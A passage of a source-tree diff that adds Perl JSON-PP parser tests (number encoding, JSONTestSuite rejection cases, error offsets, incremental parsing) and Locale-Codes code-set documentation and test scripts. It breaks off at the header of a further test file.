diff --git a/gnu/usr.bin/perl/cpan/JSON-PP/t/116_incr_parse_fixed.t b/gnu/usr.bin/perl/cpan/JSON-PP/t/116_incr_parse_fixed.t
index 73c2462bf35..36e84de7fab 100644
--- a/gnu/usr.bin/perl/cpan/JSON-PP/t/116_incr_parse_fixed.t
+++ b/gnu/usr.bin/perl/cpan/JSON-PP/t/116_incr_parse_fixed.t
@@ -1,5 +1,3 @@
-#!/usr/bin/perl
-
use strict;
use Test::More tests => 4;
diff --git a/gnu/usr.bin/perl/cpan/JSON-PP/t/117_numbers.t b/gnu/usr.bin/perl/cpan/JSON-PP/t/117_numbers.t
new file mode 100644
index 00000000000..73b2a6c826c
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/JSON-PP/t/117_numbers.t
@@ -0,0 +1,23 @@
+use Test::More;
+use strict;
+BEGIN { $ENV{PERL_JSON_BACKEND} = 0; }
+use JSON::PP;
+
+#SKIP_ALL_UNLESS_PP 2.90
+#SKIP_ALL_IF_XS
+
+BEGIN { plan tests => 3 }
+
+# TODO ("inf"/"nan" representations are not portable)
+# is encode_json([9**9**9]), '["inf"]';
+# is encode_json([-sin(9**9**9)]), '["nan"]';
+
+my $num = 3;
+my $str = "$num";
+is encode_json({test => [$num, $str]}), '{"test":[3,"3"]}';
+$num = 3.21;
+$str = "$num";
+is encode_json({test => [$num, $str]}), '{"test":[3.21,"3.21"]}';
+$str = '0 but true';
+$num = 1 + $str;
+is encode_json({test => [$num, $str]}), '{"test":[1,"0 but true"]}';
diff --git a/gnu/usr.bin/perl/cpan/JSON-PP/t/gh_28_json_test_suite.t b/gnu/usr.bin/perl/cpan/JSON-PP/t/gh_28_json_test_suite.t
new file mode 100644
index 00000000000..be536603813
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/JSON-PP/t/gh_28_json_test_suite.t
@@ -0,0 +1,59 @@
+# the following test cases are taken from JSONTestSuite
+# by Nicolas Seriot (https://github.com/nst/JSONTestSuite)
+
+use strict;
+use Test::More;
+
+BEGIN { plan skip_all => 'this test is for Perl 5.8 or later' if $] < 5.008; }
+
+BEGIN { plan tests => 20 };
+
+BEGIN { $ENV{PERL_JSON_BACKEND} = 0; }
+
+use JSON::PP;
+
+my $DECODER = JSON::PP->new->utf8->allow_nonref;
+
+# n_multidigit_number_then_00
+decode_should_fail(qq!123\x00!);
+
+# number_-01
+decode_should_fail(qq![-01]!);
+
+# number_neg_int_starting_with_zero
+decode_should_fail(qq![-012]!);
+
+# n_object_trailing_comment
+decode_should_fail(qq!{"a":"b"}/**/!);
+
+# n_object_trailing_comment_slash_open
+decode_should_fail(qq!{"a":"b"}//!);
+
+# n_structure_null-byte-outside-sting
+decode_should_fail(qq![\x00]!);
+
+# n_structure_object_with_comment
+decode_should_fail(qq!{"a":/*comment*/"b"}!);
+
+# n_structure_whitespace_formfeed
+decode_should_fail(qq![\0x0c]!);
+
+# y_string_utf16BE_no_BOM
+decode_should_pass(qq!\x00[\x00"\x00\xE9\x00"\x00]!);
+
+# y_string_utf16LE_no_BOM
+decode_should_pass(qq![\x00"\x00\xE9\x00"\x00]\x00!);
+
+sub decode_should_pass {
+ my $json = shift;
+ my $result = eval { $DECODER->decode($json); };
+ ok !$@, $@ || '';
+ ok defined $result;
+}
+
+sub decode_should_fail {
+ my $json = shift;
+ my $result = eval { $DECODER->decode($json); };
+ ok $@, $@ || '';
+ ok !defined $result;
+}
diff --git a/gnu/usr.bin/perl/cpan/JSON-PP/t/gh_29_trailing_false_value.t b/gnu/usr.bin/perl/cpan/JSON-PP/t/gh_29_trailing_false_value.t
new file mode 100644
index 00000000000..bb408e93375
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/JSON-PP/t/gh_29_trailing_false_value.t
@@ -0,0 +1,13 @@
+use strict;
+use Test::More;
+
+BEGIN { plan tests => 1 };
+
+BEGIN { $ENV{PERL_JSON_BACKEND} = 0; }
+
+use JSON::PP;
+
+{ #SKIP_UNLESS_PP 2.90,1
+ eval { JSON::PP->new->decode('{}0') };
+ ok $@;
+}
diff --git a/gnu/usr.bin/perl/cpan/JSON-PP/t/rt_116998_wrong_character_offset.t b/gnu/usr.bin/perl/cpan/JSON-PP/t/rt_116998_wrong_character_offset.t
new file mode 100644
index 00000000000..b8f4707c73b
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/JSON-PP/t/rt_116998_wrong_character_offset.t
@@ -0,0 +1,22 @@
+use strict;
+use Test::More;
+BEGIN { plan tests => 4 };
+BEGIN { $ENV{PERL_JSON_BACKEND} = 0; }
+use JSON::PP;
+
+{ #SKIP_UNLESS_PP 2.90, 1
+eval { decode_json(qq({"foo":{"bar":42})) };
+like $@ => qr/offset 17/; # 16
+}
+
+eval { decode_json(qq(["foo",{"bar":42})) };
+like $@ => qr/offset 17/;
+
+{ #SKIP_UNLESS_PP 2.90, 1
+eval { decode_json(qq(["foo",{"bar":42}"])) };
+like $@ => qr/offset 17/; # 18
+}
+
+eval { decode_json(qq({"foo":{"bar":42}"})) };
+like $@ => qr/offset 17/;
+
diff --git a/gnu/usr.bin/perl/cpan/JSON-PP/t/rt_90071_incr_parse.t b/gnu/usr.bin/perl/cpan/JSON-PP/t/rt_90071_incr_parse.t
new file mode 100644
index 00000000000..dc1fd45cf7b
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/JSON-PP/t/rt_90071_incr_parse.t
@@ -0,0 +1,29 @@
+use strict;
+use Test::More;
+BEGIN { $ENV{PERL_JSON_BACKEND} = 0; }
+use JSON::PP;
+
+#SKIP_ALL_UNLESS_PP 2.90
+
+BEGIN { plan tests => 2 };
+
+my $json = JSON::PP->new;
+my $kb = 'a' x 1024;
+my $hash = { map { $_ => $kb } (1..40) };
+my $data = join ( '', $json->encode($hash), $json->encode($hash) );
+my $size = length($data);
+# note "Total size: [$size]";
+my $offset = 0;
+while ($size) {
+ # note "Bytes left [$size]";
+ my $incr = substr($data, $offset, 4096);
+ my $bytes = length($incr);
+ $size -= $bytes;
+ $offset += $bytes;
+ if ($bytes) {
+ $json->incr_parse($incr);
+ }
+ while( my $obj = $json->incr_parse ) {
+ ok "Got JSON object";
+ }
+}
diff --git a/gnu/usr.bin/perl/cpan/JSON-PP/t/zero-mojibake.t b/gnu/usr.bin/perl/cpan/JSON-PP/t/zero-mojibake.t
index 9a9741fe3f7..0ace37016c8 100644
--- a/gnu/usr.bin/perl/cpan/JSON-PP/t/zero-mojibake.t
+++ b/gnu/usr.bin/perl/cpan/JSON-PP/t/zero-mojibake.t
@@ -1,5 +1,3 @@
-#!/usr/bin/perl
-
use strict;
use Test::More;
BEGIN { plan tests => 1 };
diff --git a/gnu/usr.bin/perl/cpan/Locale-Codes/lib/Locale/Codes/Types.pod b/gnu/usr.bin/perl/cpan/Locale-Codes/lib/Locale/Codes/Types.pod
new file mode 100644
index 00000000000..ea8c374a2d1
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Locale-Codes/lib/Locale/Codes/Types.pod
@@ -0,0 +1,414 @@
+=pod
+
+=head1 NAME
+
+Locale::Codes::Types - types of data sets supported
+
+=head1 DESCRIPTION
+
+This document contains a description of different types of code sets
+supported by the B<Locale-Codes> distribution.
+
+The following types are supported:
+
+=over 4
+
+=item L</"country">
+
+=item L</"language">
+
+=item L</"currency">
+
+=item L</"script">
+
+=item L</"langfam">
+
+=item L</"langvar">
+
+=item L</"langext">
+
+=back
+
+Any time you have to specify the type of data, use one of the values from
+this list. When using the OO interface, you have to specify the type of
+data you are working with. For example:
+
+ use Locale::Codes;
+ ...
+ $obj->type('country');
+ $obj->type('langext');
+
+When using the traditional interfaces, the functions all have the data type
+included in the function name. For example:
+
+ use Locale::Codes::Country;
+ code2country(...);
+
+ use Locale::Codes::LangExt;
+ code2langext(...);
+
+Each type of data may have any number of code sets. Code sets may be
+specified by name. Traditionally, a perl constant was exported and could
+also be used to specify the code set.
+
+Both methods are available for both the OO and traditional interfaces, so
+whenever a function or method takes an argument specifying a code set, either
+the name or a constant can be used.
+
+In the lists below, a code set is specified in the list by including the
+name and the constant. So, for example, the first country code set is
+named C<'alpha-2'> and has a perl constant C<LOCALE_COUNTRY_ALPHA_2>
+associated with it. When using the OO interface, the constants are only
+available if you import them by loading the module with:
+
+ use Locale::Codes ':constants';
+
+The constants are always available when using the traditional interfaces.
+
+Some of the older perl constants names were not consistent, and in those
+cases, two constants are available (a newer consistent name and the older
+inconsistent one). Either may be used.
+
+The default code set for each type is marked with an asterisk (*).
+
+=head1 country
+
+Code sets for identifying countries are maintained by several different
+agencies and standards.
+
+The following code sets are maintained in the ISO 3166 standard.
+The official home page for the ISO 3166 maintenance agency is:
+L<http://www.iso.org/iso/home/standards/country_codes.htm> .
+
+Only the officially assigned codes are included.
+
+=over 4
+
+=item B<* alpha-2, LOCALE_COUNTRY_ALPHA_2, LOCALE_CODE_ALPHA_2>
+
+This is the set of two-letter (lowercase) codes from ISO 3166-1, such
+as 'tv' for Tuvalu.
+
+=item B<alpha-3, LOCALE_COUNTRY_ALPHA_3, LOCALE_CODE_ALPHA_3>
+
+This is the set of three-letter (lowercase) codes from ISO 3166-1,
+such as 'brb' for Barbados. These codes are actually defined and
+maintained by the U.N. Statistics division.
+
+=item B<numeric, LOCALE_COUNTRY_NUMERIC, LOCALE_CODE_NUMERIC>
+
+This is the set of three-digit numeric codes from ISO 3166-1, such as
+064 for Bhutan.
+
+If a 2-digit code is entered, it is converted to 3 digits by prepending
+a 0.
+
+=back
+
+A list of domain names are maintained by the IANA (Internet Assigned
+Numbers Authority). These are available at:
+L<http://www.iana.org/domains/root/db/> . Only the actual country
+codes are used, and the country names come from ISO 3166.
+
+=over 4
+
+=item B<dom, LOCALE_COUNTRY_DOM, LOCALE_CODE_DOM>
+
+The country domains assigned by IANA are usually the two-letter
+(lowercase) codes from ISO 3166, but there are a few other additions.
+
+=back
+
+The United Nations also maintains country lists. Their list is also
+similar, but not identical, to the ISO 3166 list.
+
+The data is available here:
+L<https://unstats.un.org/unsd/methodology/m49/>
+
+Previously, this table was treated as a source of the ISO 3166 data,
+but I found that the table was incomplete, so I stopped using it.
+Later, it was added back in as it's own list of codes.
+
+=over 4
+
+=item B<un-alpha-3, LOCALE_COUNTRY_UN_ALPHA_3, LOCALE_CODE_UN_ALPHA_3>
+
+This is similar to the 'alpha-3' set from ISO 3166, except that the
+codes are uppercase.
+
+=item B<un-numeric, LOCALE_COUNTRY_UN_NUMERIC, LOCALE_CODE_UN_NUMERIC>
+
+This is similar to the 'numeric' set from ISO 3166.
+
+=back
+
+The US Government also keeps a list of codes. Originally, it maintained
+the FIPS-11 code set, but this was deprecated and replaced by the GENC code
+set. The FIPS-11 code sets are no longer supported by B<Locale-Codes>.
+
+The GENC code sets are available here:
+L<https://nsgreg.nga.mil/genc/discovery> . They are also similar, but
+not identical, to the ISO 3166 code sets.
+
+=over 4
+
+=item B<genc-alpha-2, LOCALE_COUNTRY_GENC_ALPHA_2, LOCALE_CODE_GENC_ALPHA_2>
+
+Similar to the 'alpha-2' set, but uppercase.
+
+=item B<genc-alpha-3, LOCALE_COUNTRY_GENC_ALPHA_3, LOCALE_CODE_GENC_ALPHA_3>
+
+Similar to the 'alpha-3' set, but uppercase.
+
+=item B<genc-numeric, LOCALE_COUNTRY_GENC_NUMERIC, LOCALE_CODE_GENC_NUMERIC>
+
+Similar to the 'numeric' set.
+
+=back
+
+There are other sources of codes that are not currently used in this
+distribution.
+
+ISO codes for country sub-divisions (states, counties, provinces,
+etc), as defined in ISO 3166-2. This module is not part of the
+Locale-Codes distribution, but is available from CPAN in
+CPAN/modules/by-module/Locale/
+
+The World Factbook maintained by the CIA is a potential source of
+the data. Unfortunately, it adds/preserves non-standard codes, so it is
+not used as a source of data.
+L<https://www.cia.gov/library/publications/the-world-factbook/appendix/print_appendix-d.html>
+
+Another unofficial source of data is the Statoids web site:
+L<http://www.statoids.com/wab.html> . Currently, it is not used to get
+data, but the notes and explanatory material were very useful for
+understanding discrepancies between the sources.
+
+=head1 language
+
+Code sets for identifying languages come from a couple different locations.
+
+The primary source is ISO 639 . The ISO 639-2 codes are available here:
+L<http://www.loc.gov/standards/iso639-2/>
+and the ISO 639-5 codes are available here:
+L<http://www.loc.gov/standards/iso639-5/> .
+
+In addition, the IANA maintains a language registry which are added to the ISO
+lists. Because it is intended to supplement the ISO standard, the IANA list is
+not separate.
+
+The IANA data is available here:
+L<http://www.iana.org/assignments/language-subtag-registry>
+
+The code sets are:
+
+=over 4
+
+=item B<* alpha-2, LOCALE_LANGUAGE_ALPHA_2, LOCALE_LANG_ALPHA_2>
+
+This is the set of two-letter (lowercase) codes from ISO 639-1, such
+as 'he' for Hebrew. It also includes additions to this set included
+in the IANA language registry.
+
+=item B<alpha-3, LOCALE_LANGUAGE_ALPHA_3, LOCALE_LANG_ALPHA_3>
+
+This is the set of three-letter (lowercase) bibliographic codes from
+ISO 639-2 and 639-5, such as 'heb' for Hebrew. It also includes
+additions to this set included in the IANA language registry.
+
+=item B<term, LOCALE_LANGUAGE_TERM, LOCALE_LANG_TERM>
+
+This is the set of three-letter (lowercase) terminologic codes from
+ISO 639.
+
+=back
+
+=head1 currency
+
+The source of currency codes is the ISO 4217 data available here:
+L<http://www.iso.org/iso/support/currency_codes_list-1.htm>
+
+The code sets are:
+
+=over 4
+
+=item B<* alpha, LOCALE_CURRENCY_ALPHA, LOCALE_CURR_ALPHA>
+
+This is a set of three-letter (uppercase) codes from ISO 4217 such
+as EUR for Euro.
+
+Two of the codes specified by the standard (XTS which is reserved
+for testing purposes and XXX which is for transactions where no
+currency is involved) are omitted.
+
+=item B<num, LOCALE_CURRENCY_NUMERIC, LOCALE_CURR_NUMERIC>
+
+This is the set of three-digit numeric codes from ISO 4217.
+
+=back
+
+=head1 script
+
+The source of script code sets is ISO 15924 available here:
+L<http://www.unicode.org/iso15924/>
+
+Additional data comes from the IANA language subtag registry:
+L<http://www.iana.org/assignments/language-subtag-registry> .
+
+Code sets are:
+
+=over 4
+
+=item B<* alpha, LOCALE_SCRIPT_ALPHA>
+
+This is a set of four-letter (capitalized) codes from ISO 15924
+such as 'Phnx' for Phoenician. It also includes additions to this
+set included in the IANA language registry.
+
+The Zxxx, Zyyy, and Zzzz codes are not used.
+
+=item B<num, LOCALE_SCRIPT_NUMERIC>
+
+This is a set of three-digit numeric codes from ISO 15924 such as 115
+for Phoenician.
+
+=back
+
+=head1 langfam
+
+Language families are specified using codes from ISO 639-5 available here:
+L<http://www.loc.gov/standards/iso639-5/id.php>
+
+Code sets are:
+
+=over 4
+
+=item B<* alpha, LOCALE_LANGFAM_ALPHA>
+
+This is the set of three-letter (lowercase) codes from ISO 639-5
+such as 'apa' for Apache languages.
+
+=back
+
+=head1 langvar
+
+Language variations are specified using codes from he IANA language
+subtag registry available here:
+L<http://www.iana.org/assignments/language-subtag-registry>
+
+Code sets are:
+
+=over 4
+
+=item B<* alpha, LOCALE_LANGVAR_ALPHA>
+
+This is the set of alphanumeric codes from the IANA
+language registry, such as 'arevela' for Eastern Armenian.
+
+=back
+
+=head1 langext
+
+Language extensions are specified using codes from he IANA language
+subtag registry available here:
+L<http://www.iana.org/assignments/language-subtag-registry>
+
+Code sets are:
+
+=over 4
+
+=item B<* alpha, LOCALE_LANGEXT_ALPHA>
+
+This is the set of three-letter (lowercase) codes from the IANA
+language registry, such as 'acm' for Mesopotamian Arabic.
+
+=back
+
+=head1 NEW CODE SETS
+
+I'm always open to suggestions for new code sets.
+
+In order for me to add a code set, I want the following criteria
+to be met:
+
+=over 4
+
+=item B<General-use code set>
+
+If a code set is not general use, I'm not likely to spend the time
+to add and support it.
+
+=item B<An official source of data>
+
+I require an official (or at least, a NEARLY official) source where I
+can get the data on a regular basis.
+
+Ideally, I'd only get data from an official source, but sometimes that
+is not possible. For example the ISO standards are not typically
+available for free, so I may have to get some of that data from
+alternate sources that I'm confident are getting their data from the
+official source. However, I will always be hesitant to accept a
+non-official source.
+
+As an example, I used to get some country data from the CIA World
+Factbook. Given the nature of the source, I'm sure they're updating
+data from the official sources and I consider it "nearly" official.
+However, even in this case, I found that they were adding codes that
+were not part of the standard, so I have stopped using them as a
+source.
+
+There are many 3rd party sites which maintain lists (many of which are
+actually in a more convenient form than the official sites).
+Unfortunately, I will reject most of them since I have no feel for how
+"official" they are.
+
+=item B<A free source of the data>
+
+Obviously, the data must be free-of-charge. I'm not interested in
+paying for the data (and I'm not interested in the overhead of having
+someone else pay for the data for me).
+
+=item B<A reliable source of data>
+
+The source of data must come from a source that I can reasonably expect
+to exist for the foreseeable future since I will be extremely reluctant
+to drop support for a data set once it's included.
+
+I am also reluctant to accept data sent to me by an individual.
+Although I appreciate the offer, it is simply not practical to consider
+an individual contribution as a reliable source of data. The source
+should be an official agency of some sort.
+
+=back
+
+These requirements are open to discussion. If you have a code set
+you'd like to see added, but which may not meet all of the above
+requirements, feel free to email me and we'll discuss it. Depending
+on circumstances, I may be willing to waive some of these criteria.
+
+=head1 SEE ALSO
+
+=over 4
+
+=item L<Locale::Codes>
+
+The Locale-Codes distribution.
+
+=back
+
+=head1 AUTHOR
+
+See Locale::Codes for full author history.
+
+Currently maintained by Sullivan Beck (sbeck@cpan.org).
+
+=head1 COPYRIGHT
+
+ Copyright (c) 1997-2001 Canon Research Centre Europe (CRE).
+ Copyright (c) 2001-2010 Neil Bowers
+ Copyright (c) 2010-2018 Sullivan Beck
+
+This module is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Locale-Codes/t/country_func.t b/gnu/usr.bin/perl/cpan/Locale-Codes/t/country_func.t
new file mode 100644
index 00000000000..fbfbc1314ae
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Locale-Codes/t/country_func.t
@@ -0,0 +1,27 @@
+#!/usr/bin/perl
+
+use warnings;
+use strict;
+require 5.002;
+
+if ( -f "t/do_tests.pl" ) {
+ require "./t/do_tests.pl";
+} elsif (-f "do_tests.pl") {
+ require "./do_tests.pl";
+} else {
+ die "ERROR: cannot find do_tests.pl\n";
+}
+
+do_tests('country','','func');
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
diff --git a/gnu/usr.bin/perl/cpan/Locale-Codes/t/country_oo.t b/gnu/usr.bin/perl/cpan/Locale-Codes/t/country_oo.t
new file mode 100644
index 00000000000..875c108fe2b
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Locale-Codes/t/country_oo.t
@@ -0,0 +1,27 @@
+#!/usr/bin/perl
+
+use warnings;
+use strict;
+require 5.002;
+
+if ( -f "t/do_tests.pl" ) {
+ require "./t/do_tests.pl";
+} elsif (-f "do_tests.pl") {
+ require "./do_tests.pl";
+} else {
+ die "ERROR: cannot find do_tests.pl\n";
+}
+
+do_tests('country','','oo');
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
diff --git a/gnu/usr.bin/perl/cpan/Locale-Codes/t/currency_func.t b/gnu/usr.bin/perl/cpan/Locale-Codes/t/currency_func.t
new file mode 100644
index 00000000000..87b6e463b78
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Locale-Codes/t/currency_func.t
@@ -0,0 +1,27 @@
+#!/usr/bin/perl
+
+use warnings;
+use strict;
+require 5.002;
+
+if ( -f "t/do_tests.pl" ) {
+ require "./t/do_tests.pl";
+} elsif (-f "do_tests.pl") {
+ require "./do_tests.pl";
+} else {
+ die "ERROR: cannot find do_tests.pl\n";
+}
+
+do_tests('currency','','func');
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
diff --git a/gnu/usr.bin/perl/cpan/Locale-Codes/t/currency_old.t b/gnu/usr.bin/perl/cpan/Locale-Codes/t/currency_old.t
new file mode 100644
index 00000000000..1d23b19fc5a
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Locale-Codes/t/currency_old.t
@@ -0,0 +1,27 @@
+#!/usr/bin/perl
+
+use warnings;
+use strict;
+require 5.002;
+
+if ( -f "t/do_tests.pl" ) {
+ require "./t/do_tests.pl";
+} elsif (-f "do_tests.pl") {
+ require "./do_tests.pl";
+} else {
+ die "ERROR: cannot find do_tests.pl\n";
+}
+
+do_tests('currency','','old');
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
diff --git a/gnu/usr.bin/perl/cpan/Locale-Codes/t/currency_oo.t b/gnu/usr.bin/perl/cpan/Locale-Codes/t/currency_oo.t
new file mode 100644
index 00000000000..a0ac1eec3cd
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Locale-Codes/t/currency_oo.t
@@ -0,0 +1,27 @@
+#!/usr/bin/perl
+
+use warnings;
+use strict;
+require 5.002;
+
+if ( -f "t/do_tests.pl" ) {
+ require "./t/do_tests.pl";
+} elsif (-f "do_tests.pl") {
+ require "./do_tests.pl";
+} else {
+ die "ERROR: cannot find do_tests.pl\n";
+}
+
+do_tests('currency','','oo');
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
diff --git a/gnu/usr.bin/perl/cpan/Locale-Codes/t/do_tests.pl b/gnu/usr.bin/perl/cpan/Locale-Codes/t/do_tests.pl
new file mode 100644
index 00000000000..8f398cf6a37
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Locale-Codes/t/do_tests.pl
@@ -0,0 +1,370 @@
+#!/usr/bin/perl
+# Copyright (c) 2016-2018 Sullivan Beck. All rights reserved.
+# This program is free software; you can redistribute it and/or modify it
+# under the same terms as Perl itself.
+
+use warnings;
+use strict;
+no strict 'subs';
+no strict 'refs';
+
+my %type = ('country' => 'Country',
+ 'language' => 'Language',
+ 'currency' => 'Currency',
+ 'script' => 'Script',
+ 'langfam' => 'LangFam',
+ 'langext' => 'LangExt',
+ 'langvar' => 'LangVar',
+ );
+my $generic_tests;
+
+sub do_tests {
+ my($data_type,$inp_file,$test_type,$codeset,$show_errs) = @_;
+ my $type = $type{$data_type};
+ $::data_type = $data_type;
+ $::test_type = $test_type;
+ $inp_file = $data_type if (! $inp_file);
+
+ my($runtests) = shift(@ARGV);
+
+ # Load the test function and the data for the tests
+
+ my($dir,$tdir);
+ if ( -f "t/testfunc.pl" ) {
+ require "./t/testfunc.pl";
+ require "./t/vals_${inp_file}.pl";
+ $dir="./lib";
+ $tdir="t";
+ } elsif ( -f "testfunc.pl" ) {
+ require "./testfunc.pl";
+ require "./vals_${inp_file}.pl";
+ $dir="../lib";
+ $tdir=".";
+ } else {
+ die "ERROR: cannot find testfunc.pl\n";
+ }
+
+ unshift(@INC,$dir);
+
+ $::tests .= $generic_tests if (! defined($show_errs));
+
+ if ($test_type eq 'old') {
+ $::module = "Locale::$type";
+ eval("use $::module");
+ my $tmp = $::module . "::show_errors";
+ &{ $tmp }(0);
+ } elsif ($test_type eq 'func') {
+ $::module = "Locale::Codes::$type";
+ eval("use $::module");
+ my $tmp = $::module . "::show_errors";
+ &{ $tmp }(0);
+ } elsif (defined($codeset)) {
+ eval("use Locale::Codes");
+ $::obj = Locale::Codes->new($data_type,$codeset,$show_errs);
+ $::obj->show_errors(1);
+ } elsif (defined($show_errs)) {
+ eval("use Locale::Codes");
+ $::obj = Locale::Codes->new();
+ $::obj->type($data_type);
+ $::obj->show_errors($show_errs);
+ } else {
+ eval("use Locale::Codes");
+ $::obj = new Locale::Codes $data_type;
+ $::obj->show_errors(0);
+ }
+
+ print "$::data_type [$::test_type]\n";
+ test_Func(\&test,$::tests,$runtests);
+}
+
+sub test {
+ my ($op,@test) = @_;
+ my @ret;
+
+ my $stderr = '';
+ {
+ local *STDERR;
+ open STDERR, '>', \$stderr;
+ @ret = _test($op,@test);
+ }
+
+ if ($stderr) {
+ $stderr =~ s/\n.*//m;
+ chomp($stderr);
+ return $stderr;
+ } else {
+ return @ret;
+ }
+}
+
+sub _test {
+ my ($op,@test) = @_;
+
+ if ($op eq '2code') {
+ my $code;
+ if ($::obj) {
+ $code = $::obj->name2code(@test);
+ } else {
+ $code = &{ "${::data_type}2code" }(@test);
+ }
+ return ($code ? lc($code) : $code);
+
+ } elsif ($op eq '2name') {
+ if ($::obj) {
+ return $::obj->code2name(@test);
+ } else {
+ return &{ "code2${::data_type}" }(@test)
+ }
+
+ } elsif ($op eq 'code2code') {
+ my $code;
+ if ($::obj) {
+ $code = $::obj->code2code(@test);
+ } else {
+ $code = &{ "${::data_type}_code2code" }(@test);
+ }
+ return ($code ? lc($code) : $code);
+
+ } elsif ($op eq 'all_codes') {
+ my $n;
+ if ($test[$#test] =~ /^\d+$/) {
+ $n = pop(@test);
+ }
+
+ my @tmp;
+ if ($::obj) {
+ @tmp = $::obj->all_codes(@test);
+ } else {
+ @tmp = &{ "all_${::data_type}_codes" }(@test);
+ }
+
+ if ($n && @tmp > $n) {
+ return @tmp[0..($n-1)];
+ } else {
+ return @tmp;
+ }
+
+ } elsif ($op eq 'all_names') {
+ my $n;
+ if ($test[$#test] =~ /^\d+$/) {
+ $n = pop(@test);
+ }
+
+ my @tmp;
+ if ($::obj) {
+ @tmp = $::obj->all_names(@test);
+ } else {
+ @tmp = &{ "all_${::data_type}_names" }(@test);
+ }
+
+ if ($n && @tmp > $n) {
+ return @tmp[0..($n-1)];
+ } else {
+ return @tmp;
+ }
+
+ } elsif ($op eq 'rename') {
+ if ($::obj) {
+ return $::obj->rename_code(@test);
+ } else {
+ return &{ "${::module}::rename_${::data_type}" }(@test)
+ }
+ } elsif ($op eq 'add') {
+ if ($::obj) {
+ return $::obj->add_code(@test);
+ } else {
+ return &{ "${::module}::add_${::data_type}" }(@test)
+ }
+ } elsif ($op eq 'delete') {
+ if ($::obj) {
+ return $::obj->delete_code(@test);
+ } else {
+ return &{ "${::module}::delete_${::data_type}" }(@test)
+ }
+ } elsif ($op eq 'add_alias') {
+ if ($::obj) {
+ return $::obj->add_alias(@test);
+ } else {
+ return &{ "${::module}::add_${::data_type}_alias" }(@test)
+ }
+ } elsif ($op eq 'delete_alias') {
+ if ($::obj) {
+ return $::obj->delete_alias(@test);
+ } else {
+ return &{ "${::module}::delete_${::data_type}_alias" }(@test)
+ }
+ } elsif ($op eq 'replace_code') {
+ if ($::obj) {
+ return $::obj->replace_code(@test);
+ } else {
+ return &{ "${::module}::rename_${::data_type}_code" }(@test)
+ }
+ } elsif ($op eq 'add_code_alias') {
+ if ($::obj) {
+ return $::obj->add_code_alias(@test);
+ } else {
+ return &{ "${::module}::add_${::data_type}_code_alias" }(@test)
+ }
+ } elsif ($op eq 'delete_code_alias') {
+ if ($::obj) {
+ return $::obj->delete_code_alias(@test);
+ } else {
+ return &{ "${::module}::delete_${::data_type}_code_alias" }(@test)
+ }
+ } elsif ($op eq 'codeset') {
+ if ($::obj) {
+ return $::obj->codeset(@test);
+ } else {
+ return &{ "${::module}::codeset" }(@test)
+ }
+ } elsif ($op eq 'type') {
+ if ($::obj) {
+ return $::obj->type(@test);
+ } else {
+ return &{ "${::module}::type" }(@test)
+ }
+ }
+}
+
+$generic_tests = "
+#################
+
+2code
+_undef_
+ _undef_
+
+2code
+ _undef_
+
+2code
+_blank_
+ _undef_
+
+2code
+UnusedName
+ _undef_
+
+2code
+ _undef_
+
+2code
+_undef_
+ _undef_
+
+2name
+_undef
+ _undef_
+
+2name
+ _undef_
+
+###
+
+add
+AAA
+newCode
+ 1
+
+2code
+newCode
+ aaa
+
+delete
+AAA
+ 1
+
+2code
+newCode
+ _undef_
+
+###
+
+add
+AAA
+newCode
+ 1
+
+rename
+AAA
+newCode2
+ 1
+
+2code
+newCode
+ aaa
+
+2code
+newCode2
+ aaa
+
+###
+
+add_alias
+newCode2
+newAlias
+ 1
+
+2code
+newAlias
+ aaa
+
+delete_alias
+newAlias
+ 1
+
+2code
+newAlias
+ _undef_
+
+###
+
+replace_code
+AAA
+BBB
+ 1
+
+2name
+AAA
+ newCode2
+
+2name
+BBB
+ newCode2
+
+###
+
+add_code_alias
+BBB
+CCC
+ 1
+
+2name
+BBB
+ newCode2
+
+2name
+CCC
+ newCode2
+
+delete_code_alias
+CCC
+ 1
+
+2name
+CCC
+ _undef_
+
+";
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
+
diff --git a/gnu/usr.bin/perl/cpan/Locale-Codes/t/errors.1.t b/gnu/usr.bin/perl/cpan/Locale-Codes/t/errors.1.t
new file mode 100644
index 00000000000..1e83e3ec557
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Locale-Codes/t/errors.1.t
